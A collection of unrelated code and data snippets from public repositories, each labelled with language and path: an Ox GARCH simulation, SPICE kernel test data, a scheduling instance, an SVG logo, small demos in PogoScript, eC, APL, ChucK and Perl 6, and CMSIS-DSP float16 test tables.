sqrt((dLAMBDA-2)/dLAMBDA)*rant(iSIMS,1,dLAMBDA); //draw standardized student's t distributed iSTD_ERROR = 1; //DO MANY SIMULATIONS AND ESITMATIONS decl mAlpha, mBeta, mOmega, mGamma, mLambda, mAlpha2, mBeta2, mOmega2, mGamma2, mLambda2; iSTEPS = iSIZE/10; //steps of iSIZE/100 takes a while (steps of iSIZE/10 is faster) fMonteCarlo2(&mAlpha, &mBeta, &mOmega, &mGamma, &mLambda, &mAlpha2, &mBeta2, &mOmega2, &mGamma2, &mLambda2); //DRAW GRAPHS SetDrawWindow("CS_SIM_1_Consistency"); Draw(0, mAlpha',iSTEPS,iSTEPS); Draw(1, mBeta',iSTEPS,iSTEPS); Draw(2, mOmega',iSTEPS,iSTEPS); Draw(3, mGamma',iSTEPS,iSTEPS); Draw(4, mLambda',iSTEPS,iSTEPS); DrawTitle(0,"(i) alpha"); DrawTitle(1,"(ii) beta"); DrawTitle(2,"(ii) omega"); DrawTitle(3,"(iv) gamma"); DrawTitle(4,"(v) lambda"); ShowDrawWindow(); print("\nSecond Graph Finished at ",time(),"\n"); SetDrawWindow("CS_SIM_1_Check_Normality_Consistency"); Draw(0, mAlpha2',iSTEPS,iSTEPS); Draw(1, mBeta2',iSTEPS,iSTEPS); Draw(2, mOmega2',iSTEPS,iSTEPS); Draw(3, mGamma2',iSTEPS,iSTEPS); Draw(4, mLambda2',iSTEPS,iSTEPS); DrawTitle(0,"(i) alpha"); DrawTitle(1,"(ii) beta"); DrawTitle(2,"(ii) omega"); DrawTitle(3,"(iv) gamma"); DrawTitle(4,"(iv) lambda"); ShowDrawWindow(); print("\nThird Graph Finished at ",time(),"\n"); }

Ox

tamerdilaver/Group4_Code_Data

CS_SIM_1_t-GARCH.ox

DAFETF NAIF DAF ENCODED TRANSFER FILE 'DAF/CK ' '2' '6' 'SELENE CK file ' BEGIN_ARRAY 1 107 'SELENE CK data type 3 ' '35315BA7^8' '35315BBE^8' '-1FFB8' '1' '3' '1' 107 '195D8D5FCA2AD^0' 'D5E9DF14330CE^0' '32D7A1FBA88186^0' '-80A43B104F2F9^0' '-6E19B8BAC710CC^-2' '5A9A802752546^-2' '2291FB573EAB36^-2' '19578ED7EBE931^0' 'D5DAC8053790F8^0' '32D9CC37CB84BE^0' '-80BDA2CA0EF58^0' '0^0' '2DE00D1B71758E^-2' '4189374BC6A7F^-2' '194B987B8600FE^0' 'D5BE22D17297C^0' '32DE011D8764D6^0' '-80EDDCC4F521^0' '68DB8BAC710CB4^-3' '27525460AA64C4^-2' '4189374BC6A7F^-2' '193E37CE62D756^0' 'D5A156B38D0E18^0' '32E38E0D7D58CC^0' '-811DFCC65DA84^0' '-FF972474538EF8^-2' '4189374BC6A7F^-2' '20C49BA5E353F8^-2' '1930D1A658AA5F^0' 'D584242D22266^0' '32E95816A3DCD4^0' '-814E94F27B35D8^0' '-18FC504816F007^-1' '-1A36E2EB1C432D^-2' '-20C49BA5E353F8^-2' '192337A127DCF1^0' 'D5665B4B6161B^0' '32F08780C6B6CA^0' '-817F87ED4C5ED8^0' '-EBEDFA43FE5C98^-2' '75F6FD21FF2E4C^-2' '-2DE00D1B71758E^-2' '19161F948FE3E8^0' 'D548026B6DE15^0' '32F7BF5130FBEE^0' '-81B130211B56C^0' '-14E3BCD35A8588^-1' '-9D495182A9931^-2' '-4EA4A8C154C988^-2' '1909DFA1B0F482^0' 'D529438BE85D2^0' '32FF6D548E84C6^0' '-81E30BDD9DC9B8^0' '20C49BA5E353F8^-2' '2DE00D1B71758E^-2' '-5532617C1BDA54^-2' '18FE70D9D4286F^0' 'D50A4F480F1D28^0' '33069BE36F06F4^0' '-82152CDEA80AB^0' '-5BC01A36E2EB1C^-2' '-4189374BC6A7F^-2' '-5BC01A36E2EB1C^-2' '18F3F956027065^0' 'D4EB708289E7C^0' '330D2C3AC9FD82^0' '-82471D58FD2068^0' '4EA4A8C154C988^-2' '5532617C1BDA54^-2' '-3AFB7E90FF9726^-2' '18E9CEB13AAC09^0' 'D4CCD83B7E50C8^0' '3312ECF2809386^0' '-8278C1DC70F508^0' '0^0' '83126E978D4FE^-2' '-2DE00D1B71758E^-2' '18E0146B2EE9AE^0' 'D4AEB377F3A988^0' '33179F2466D42^0' '-82A9E3AD71DA4^0' '-4189374BC6A7F^-2' 'D1B71758E21968^-2' '-13A92A30553262^-2' '18D606AA9F1CA4^0' 'D491B1F3E931A^0' '331BBF4357B75C^0' '-82D95AFBC62EE8^0' '77C45D07C84B5C^-2' '8B6D86CF41F218^-2' '2C3C9F06F69446^-2' '35315BA7^8' '35315BA80CCCCC^8' '35315BAA0CCCCC^8' '35315BAC0CCCCC^8' '35315BAE0CCCCC^8' '35315BB00CCCCC^8' '35315BB20CCCCC^8' '35315BB40CCCCC^8' '35315BB60CCCCC^8' '35315BB80CCCCC^8' '35315BBA0CCCCC^8' '35315BBC0CCCCC^8' '35315BBE^8' '35315BA7^8' '1^1' 'D^1' END_ARRAY 1 107 TOTAL_ARRAYS 1 ~NAIF/SPC BEGIN COMMENTS~ This CK is for testing with the image: MVA_2B2_01_02329N002E0302_pds3.lbl This CK was generated using the following command: {} ~NAIF/SPC END COMMENTS~

XC

ladoramkershner/ale

tests/pytests/data/MVA_2B2_01_02329N002E0302/SEL_M_ALL_D_V02_0_sliced_-131000.xc

20 5 0 0 0 1 8 7 3 8 1 4 5 6 2 [0] [0] [0] [0] [0] [0] [0] [0] 1 1 5 11 15 17 18 16 [0] [15] [14] [6] [16] 2 1 3 9 10 20 [6] [-3] [10] 3 1 2 10 13 [0] [1] 4 1 1 18 [1] 5 1 5 13 10 20 16 17 [7] [0] [12] [-1] [-1] 6 1 2 20 12 [12] [-3] 7 1 5 17 18 16 10 13 [25] [-1] [25] [5] [14] 8 1 6 13 18 14 19 12 11 [10] [-1] [-4] [3] [0] [3] 9 1 6 19 13 12 18 2 16 [9] [7] [-8] [0] [-7] [7] 10 1 4 3 5 14 19 [-52] [-60] [0] [2] 11 1 3 21 1 8 [9] [-46] [-65] 12 1 1 21 [1] 13 1 4 7 8 21 5 [-51] [-53] [6] [-68] 14 1 1 21 [6] 15 1 1 21 [6] 16 1 1 21 [5] 17 1 3 21 5 7 [5] [-38] [-53] 18 1 1 21 [6] 19 1 1 21 [3] 20 1 1 21 [1] 21 1 0 0 1 0 0 0 0 0 0 1 1 7 0 3 0 0 5 2 1 5 0 1 0 3 0 3 1 1 5 0 4 3 0 4 1 2 4 0 0 0 0 5 1 6 0 2 4 4 3 6 1 9 1 0 2 1 0 7 1 9 4 0 0 1 0 8 1 5 5 2 0 0 5 9 1 9 4 5 5 0 0 10 1 2 2 3 1 5 0 11 1 9 0 0 1 0 5 12 1 1 0 0 0 1 3 13 1 6 2 3 0 0 5 14 1 6 0 0 1 3 2 15 1 6 0 0 0 2 4 16 1 5 0 0 0 0 5 17 1 5 0 0 1 2 4 18 1 6 5 4 0 0 4 19 1 3 0 0 2 0 0 20 1 1 5 0 2 0 3 21 1 0 0 0 0 0 0 12 10 8 10 12

Eagle

klorel/or-tools

examples/data/rcpsp/single_mode_max_delay/sm_j20/psp21.sch

<svg width="101" height="58" viewBox="0 0 101 58" xmlns="http://www.w3.org/2000/svg"><path d="M17.582.3L.915 41.713l32.94 13.295L17.582.3zm83.333 41.414L67.975 55.01 84.25.3l16.665 41.414zm-48.998 5.403L63.443 35.59H38.386l11.527 11.526v5.905l-3.063 3.32 1.474 1.36 2.59-2.806 2.59 2.807 1.475-1.357-3.064-3.32v-5.906zm16.06-26.702c-3.973 0-7.194-3.22-7.194-7.193 0-3.973 3.222-7.193 7.193-7.193 3.974 0 7.193 3.22 7.193 7.19 0 3.974-3.22 7.194-7.195 7.194zM70.48 8.682c-.737 0-1.336.6-1.336 1.337 0 .736.6 1.335 1.337 1.335.738 0 1.338-.598 1.338-1.336 0-.74-.6-1.338-1.338-1.338zM33.855 20.415c-3.973 0-7.193-3.22-7.193-7.193 0-3.973 3.22-7.193 7.195-7.193 3.973 0 7.192 3.22 7.192 7.19 0 3.974-3.22 7.194-7.192 7.194zM36.36 8.682c-.737 0-1.336.6-1.336 1.337 0 .736.6 1.335 1.337 1.335.738 0 1.338-.598 1.338-1.336 0-.74-.598-1.338-1.337-1.338z" fill="#000"/></svg>

SVG

profsmallpine/uppy

website/src/images/uppy.svg

codegenUtils = require './codegenUtils' _ = require 'underscore' module.exports (terms) = listTerm = terms.term { constructor (items) = self.isList = true self.items = items generate (scope) = self.generateIntoBuffer @(buffer) splatArguments = terms.splatArguments (self.items) if (splatArguments) buffer.write (splatArguments.generate (scope)) else buffer.write ('[') codegenUtils.writeToBufferWithDelimiter (self.items, ',', buffer, scope) buffer.write (']') } insertSplatsAfterRanges (items) = itemsWithSplats = [] for (n = 0, n < items.length, ++n) item = items.(n) itemsWithSplats.push(item) if (item.isRange) item.inList = true itemsWithSplats.push(terms.splat()) itemsWithSplats list (listItems) = items = insertSplatsAfterRanges (listItems) hashEntry = _.find (items) @(item) @{item.isHashEntry} hasGenerator = _.find (items) @(item) @{item.isGenerator} if (hashEntry) macro = terms.listMacros.findMacro (hashEntry.field) if (macro) macro (listTerm (items), hashEntry.field) else terms.errors.addTerm (hashEntry) withMessage "no macro for #(hashEntry.field.join ' ')" else if (hasGenerator) terms.listComprehension (items) else listTerm (items)

PogoScript

Sotrek/Alexa

Alexa_Cookbook/Workshop/StatePop/4_IOT/tests/node_modules/aws-sdk/node_modules/cucumber/node_modules/pogo/lib/terms/list.pogo

import "ecere" class Form1 : Window { background = 0; opacity = 0; font = { "Arial", 40 }; size = { 220, 60 }; #if defined(__linux__) // Alpha blended windows only work in OpenGL on Linux at the moment displayDriver = "OpenGL"; #endif alphaBlend = true; moveable = true; stayOnTop = true; showInTaskBar = false; Timer timer { userData = this, started = true, delay = 0.2; bool DelayExpired() { Update(null); return true; } }; bool OnLeftButtonDown(int x, int y, Modifiers mods) { MenuWindowMove(null, mods); return true; } bool OnKeyDown(Key key, unichar ch) { if(key == escape) Destroy(0); return true; } void OnRedraw(Surface surface) { DateTime time; surface.Clear(colorBuffer); time.GetLocalTime(); surface.SetForeground({ 128, darkGray }); surface.WriteTextf(0,0, "%02d:%02d:%02d", time.hour, time.minute, time.second); surface.SetForeground({ 192, teal }); surface.WriteTextf(2, 2, "%02d:%02d:%02d", time.hour, time.minute, time.second); } } Form1 form1 { };

eC

N-eil/ecere-sdk

samples/guiAndGfx/clock/clock.ec

+/ ((⍴ 2 3 ⍴ 1 2 3 4 5 6) + 2) ⍝ 9

APL

mbudde/apltail

tests/test7.apl

/////////////////////////////////////////////////// // Overdrive // // // // Simple overdrive distortion created by // // applying a non-linear transfer function to // // the input signal. // // Adapted from cyclone/overdrive~ from Pd // /////////////////////////////////////////////////// // // Settings: // // drive (float): set overdrive amount. // 1 is no distortion // >1 simulates overdrive // 0-1 simulates... underdrive? I guess? // Sitar pluck => Overdrive od => dac; [36, 39, 40, 43, 44, 47, 48] @=> int notes[]; 1 => float driveVal; repeat (24) { notes[Math.random2(0,notes.size()-1)] => Std.mtof => pluck.freq; 1 => pluck.noteOn; second => now; 1 +=> driveVal; <<< "drive:", driveVal => od.drive >>>; } second => now;

ChucK

mariobuoninfante/chugins

Overdrive/overdrive-help.ck

use v6; say qq/Problem 7 By listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see that the 6^(th) prime is 13. What is the 10001^(st) prime number? /; say (2...*).grep({is-prime($_)})[^10001][*-1];

Perl6

Wikunia/hakank

perl6/euler7.p6

static const uint16_t in_angles[23] = { 0x0, 0x3a48, 0x3e48, 0x40b6, 0x4248, 0x43db, 0x44b6, 0x4648, 0xba48, 0xbe48, 0xc0b6, 0xc248, 0xc3db, 0xc4b6, 0xc648, 0x4648, 0x4712, 0x47db, 0x4852, 0x48b6, 0x491b, 0x497f, 0x4a48 }; static const uint16_t in_sqrt[8] = { 0xb666, 0x0, 0x2e66, 0x3c00, 0x4000, 0x4200, 0x4300, 0x4333 }; static const uint16_t in_log[25] = { 0x2e66, 0x34cd, 0x3800, 0x3c00, 0x4000, 0x2d2a, 0x3c00, 0x198f, 0x342a, 0x365a, 0x247a, 0x2d19, 0x37c1, 0x339b, 0x343e, 0x319c, 0x3b7c, 0x3852, 0x3708, 0x3299, 0x3437, 0x36c4, 0x356f, 0x306e, 0x30e5 }; static const uint16_t in_exp[52] = { 0x0, 0x3c00, 0xb666, 0xb624, 0xb5e1, 0xb59e, 0xb55b, 0xb518, 0xb4d5, 0xb492, 0xb44f, 0xb40d, 0xb393, 0xb30e, 0xb288, 0xb202, 0xb17c, 0xb0f7, 0xb071, 0xafd6, 0xaecb, 0xadbf, 0xacb4, 0xab50, 0xa939, 0xa645, 0xa02e, 0x202e, 0x2645, 0x2939, 0x2b50, 0x2cb4, 0x2dbf, 0x2ecb, 0x2fd6, 0x3071, 0x30f7, 0x317c, 0x3202, 0x3288, 0x330e, 0x3393, 0x340d, 0x344f, 0x3492, 0x34d5, 0x3518, 0x355b, 0x359e, 0x35e1, 0x3624, 0x3666 }; static const uint16_t in_vinverse[256] = { 0x2cd1, 0x22d8, 0x330f, 0x3446, 0x368f, 0x312d, 0x33fe, 0x2dac, 0x3854, 0x31c4, 0x3935, 0x2844, 0x2811, 0x2b4c, 0x369d, 0x335b, 0x329c, 0x2fe6, 0x301e, 0x2dd7, 0x3822, 0x2c50, 0x364e, 0x36df, 0x3abc, 0x2ec4, 0x30e6, 0x288e, 0x35c4, 0x38f7, 0x3373, 0x2f87, 0x30fa, 0x38dd, 0x325f, 0x257c, 0x300a, 0x3807, 0x2d38, 0x323e, 0x3489, 0x352a, 0x2dac, 0x31a0, 0x28f7, 0x281b, 0x31eb, 0x3bf8, 0x3677, 0x3216, 0x30af, 0x3774, 0x33da, 0x30bd, 0x34da, 0x34fb, 0x1ea1, 0x367c, 0x2ccb, 0x3586, 0x2db7, 0x37a3, 0x3161, 0x1814, 0x2e8a, 0x2930, 0x2f00, 0x329c, 0x36f0, 0x3644, 0x30e7, 0x2d13, 0x2e4c, 0x32c0, 0x353a, 0x2c3f, 0x2a96, 0x1aba, 0x3454, 0x3aaa, 0x2d51, 0x3117, 0x261b, 0x2c74, 0x35a0, 0x3693, 0x2acf, 0x3475, 0x2593, 0x2ba5, 0x2eba, 0x1bac, 0x1f36, 0x3a48, 0x33df, 0x353b, 0x3539, 0x2d37, 0x2b83, 0x3a5a, 0x35ac, 0x30ab, 0x304b, 0x38f8, 0x2d85, 0x2fcf, 0x356c, 0x36ec, 0x2ea0, 0x3949, 0x2173, 0x2195, 0x3573, 0x26ec, 0x38c1, 0x342c, 0x33f6, 0x2f5e, 0x342d, 0x31aa, 0x1e21, 0x2e07, 0x37d9, 0x350c, 0x2035, 0x3814, 0x3475, 0x30e2, 0x370a, 0x3128, 0x3a59, 0x3a05, 0x3073, 0x324f, 0x33ce, 0x2c5f, 0x2f8e, 0x2724, 0x28f1, 0x2fbb, 0x30dd, 0x3507, 0x3511, 0x2821, 0x3273, 0x2885, 0x34c3, 0x2ccb, 0x3033, 0x2d1a, 0x34fd, 0x292d, 0x358d, 0x32c1, 0x2d84, 0x2eb6, 0x2baf, 0x35d9, 0x30d3, 0x2d9d, 0x384e, 0x2dc3, 0x3776, 0x349c, 0x3073, 0x371c, 0x31fa, 0x375a, 0x3096, 0x2de9, 0x33ec, 0x2aa2, 0x2c65, 0x388b, 0x335e, 0x382f, 0x2012, 0x3135, 0x34d1, 0x1f3d, 0x3697, 0x3254, 0x2b54, 0x31d5, 0x3455, 0x3197, 0x35af, 0x2b37, 0x1e89, 0x2ea7, 0x3477, 0x307e, 0x3436, 0x2a14, 0x3092, 0x38c2, 0x28e1, 0x3749, 0x353c, 0x25d2, 0x3292, 0x245d, 0x3822, 0x251a, 0x2c8c, 0x3707, 0x2c2f, 0x344e, 0x342b, 0x3489, 0x3696, 0x2dc9, 0x318a, 0x3584, 0x32ef, 0x359f, 0x2f8e, 0x31ca, 0x33dd, 0x336c, 0x36a3, 0x32ad, 0x3819, 0x36ce, 0x3724, 0x3160, 0x313a, 0x30d0, 0x2b8b, 0x3c00, 0x325e, 0x31bf, 0x2fcb, 0x366e, 0x3811, 0x34bf, 0x2852, 0x3501, 0x3970, 0x2f2c, 0x3553, 0x354a, 0x335f, 0x3839, 0x347e, 0x34f3, 0x38e9, 0x35bb, 0x2fc5, 0x2f44, 0x271c, 0x2d03, 0x315d, 0x38c9, 0x35ee, 0x2bcd }; static const uint16_t ref_cos[23] = { 0x3c00, 0x39a8, 0x0, 0xb9a8, 0xbc00, 0xb9a8, 0x8000, 0x3c00, 0x39a8, 0x0, 0xb9a8, 0xbc00, 0xb9a8, 0x8000, 0x3c00, 0x3c00, 0x39a8, 0x0, 0xb9a8, 0xbc00, 0xb9a8, 0x8000, 0x3c00 }; static const uint16_t ref_sin[23] = { 0x0, 0x39a8, 0x3c00, 0x39a8, 0x0, 0xb9a8, 0xbc00, 0x8011, 0xb9a8, 0xbc00, 0xb9a8, 0x8000, 0x39a8, 0x3c00, 0x8011, 0x8000, 0x39a8, 0x3c00, 0x39a8, 0x0, 0xb9a8, 0xbc00, 0x8011 }; static const uint16_t ref_sqrt[8] = { 0x0, 0x0, 0x350f, 0x3c00, 0x3da8, 0x3eee, 0x3f7c, 0x3f97 }; static const uint16_t ref_log[25] = { 0xc09b, 0xbcd1, 0xb98c, 0x0, 0x398c, 0xc109, 0x0, 0xc5e9, 0xbd62, 0xbb64, 0xc40c, 0xc10f, 0xb9cb, 0xbdbf, 0xbd4f, 0xbef7, 0xac45, 0xb8ee, 0xba94, 0xbe51, 0xbd56, 0xbae2, 0xbc52, 0xbfe9, 0xbf83 }; static const uint16_t ref_exp[52] = { 0x3c00, 0x4170, 0x395d, 0x3973, 0x398a, 0x39a2, 0x39b9, 0x39d2, 0x39ea, 0x3a03, 0x3a1c, 0x3a36, 0x3a50, 0x3a6b, 0x3a86, 0x3aa1, 0x3abd, 0x3ada, 0x3af7, 0x3b14, 0x3b32, 0x3b50, 0x3b6f, 0x3b8e, 0x3bae, 0x3bce, 0x3bef, 0x3c08, 0x3c19, 0x3c2b, 0x3c3c, 0x3c4e, 0x3c60, 0x3c73, 0x3c85, 0x3c98, 0x3cac, 0x3cbf, 0x3cd3, 0x3ce8, 0x3cfd, 0x3d12, 0x3d27, 0x3d3d, 0x3d53, 0x3d69, 0x3d80, 0x3d97, 0x3daf, 0x3dc7, 0x3ddf, 0x3df8 }; static const uint16_t ref_vinverse[256] = { 0x4aa4, 0x54ad, 0x4489, 0x437e, 0x40e1, 0x462e, 0x4401, 0x49a4, 0x3f64, 0x458d, 0x3e25, 0x4f80, 0x4fde, 0x4c63, 0x40d7, 0x445a, 0x44d7, 0x480d, 0x47c7, 0x497b, 0x3fbe, 0x4b6c, 0x4114, 0x40a8, 0x3cc0, 0x48bb, 0x4688, 0x4f07, 0x418d, 0x3e71, 0x444c, 0x4840, 0x466f, 0x3e94, 0x4506, 0x51d6, 0x47ec, 0x3ff2, 0x4a22, 0x4521, 0x430e, 0x4233, 0x49a4, 0x45b1, 0x4e72, 0x4fcb, 0x4568, 0x3c04, 0x40f3, 0x4542, 0x46d5, 0x404b, 0x4413, 0x46c1, 0x4299, 0x426c, 0x58d4, 0x40ef, 0x4aad, 0x41cb, 0x4999, 0x4031, 0x45f3, 0x5fd9, 0x48e5, 0x4e2c, 0x4892, 0x44d8, 0x409d, 0x411c, 0x4688, 0x4a4f, 0x4915, 0x44be, 0x4220, 0x4b89, 0x4cdc, 0x5cc2, 0x4365, 0x3ccd, 0x4a05, 0x4649, 0x513e, 0x4b2f, 0x41b0, 0x40de, 0x4cb3, 0x432e, 0x51bd, 0x4c30, 0x48c2, 0x5c2c, 0x5870, 0x3d18, 0x4411, 0x421e, 0x4221, 0x4a23, 0x4c43, 0x3d0a, 0x41a4, 0x46db, 0x4774, 0x3e70, 0x49cc, 0x4819, 0x41e7, 0x40a0, 0x48d5, 0x3e0e, 0x55df, 0x55bc, 0x41df, 0x509f, 0x3ebb, 0x43ac, 0x4405, 0x4858, 0x43aa, 0x45a7, 0x5938, 0x4950, 0x4014, 0x4257, 0x579b, 0x3fd9, 0x432d, 0x468d, 0x408c, 0x4635, 0x3d0a, 0x3d51, 0x4731, 0x4513, 0x4419, 0x4b52, 0x483c, 0x507b, 0x4e7a, 0x4824, 0x4694, 0x425e, 0x4251, 0x4fbf, 0x44f6, 0x4f14, 0x42b9, 0x4aae, 0x479e, 0x4a46, 0x426a, 0x4e2f, 0x41c4, 0x44bd, 0x49cd, 0x48c5, 0x4c2a, 0x4179, 0x46a2, 0x49b4, 0x3f6f, 0x498e, 0x404a, 0x42f1, 0x4732, 0x4080, 0x455b, 0x405a, 0x46fa, 0x496a, 0x440a, 0x4cd3, 0x4b49, 0x3f0b, 0x4458, 0x3fa6, 0x57dd, 0x4626, 0x42a5, 0x586c, 0x40db, 0x450f, 0x4c5e, 0x457d, 0x4363, 0x45b9, 0x41a2, 0x4c6f, 0x58e6, 0x48d0, 0x432a, 0x471f, 0x439a, 0x4d44, 0x4701, 0x3eba, 0x4e8f, 0x4065, 0x421d, 0x517f, 0x44df, 0x5356, 0x3fbe, 0x5246, 0x4b0a, 0x408e, 0x4ba6, 0x4370, 0x43ae, 0x430e, 0x40dc, 0x4988, 0x45c7, 0x41ce, 0x449d, 0x41b1, 0x483c, 0x4587, 0x4412, 0x4450, 0x40d2, 0x44cb, 0x3fcf, 0x40b4, 0x407b, 0x45f4, 0x461f, 0x46a6, 0x4c3e, 0x3c00, 0x4506, 0x4592, 0x481b, 0x40fa, 0x3fde, 0x42be, 0x4f67, 0x4265, 0x3de2, 0x4876, 0x4203, 0x420d, 0x4457, 0x3f94, 0x4320, 0x4277, 0x3e84, 0x4195, 0x481e, 0x4868, 0x5080, 0x4a62, 0x45f7, 0x3eb0, 0x4166, 0x4c1a };

Max

Trifunik/zephyr

tests/lib/cmsis_dsp/fastmath/src/f16.pat